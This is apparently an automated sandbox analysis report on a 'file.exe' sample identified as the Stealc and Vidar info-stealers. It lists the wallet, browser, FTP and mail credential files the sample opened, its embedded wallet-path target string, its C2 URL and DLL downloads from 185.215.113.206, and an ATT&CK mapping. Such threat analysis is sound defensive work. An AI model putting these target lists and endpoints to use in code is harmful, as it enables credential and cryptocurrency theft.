Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json*\|R
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpodus.wallet\\info.seco
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json[Qg
Source: file.exe, 00000000.00000002.2599315739.0000000000536000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2599315739.00000000006BE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2599315739.0000000000564000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore(
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json[Qg
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json.*
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore(
Source: file.exe, 00000000.00000002.2599315739.00000000006BE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: file.exe, 00000000.00000002.2599315739.0000000000564000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpodus.wallet\\seed.secoO
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore(
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\..*IRU

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5008, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2139158406.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2599315739.0000000000451000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5008, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5008, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC00C40 sqlite3_bind_zeroblob,	0_2_6CC00C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC00D60 sqlite3_bind_parameter_name,	0_2_6CC00D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28EA0 sqlite3_clear_bindings,	0_2_6CB28EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	142.250.186.174	true	false	unknown
play.google.com	142.250.186.78	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.154.84.16	true	false	unknown
www.google.com	142.250.184.228	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.186.33	true	false	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
https://sb.scorecardresearch.com/b2?rn=1730285140541&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=046B7A813FEA6CE42F656FA93E1B6DA8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730285141639&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2601720478.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ntp.msn.com/0	000003.log9.9.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		unknown
http://anglebug.com/4633	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251958300.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251999366.00005908006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250653058.00005908010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252173045.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252095489.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Iw	chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/jx	chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Ix	chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/J	chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2250399720.0000590800E28000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.instagram.com	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllY	file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/T	chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	false		unknown
http://anglebug.com/6929	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
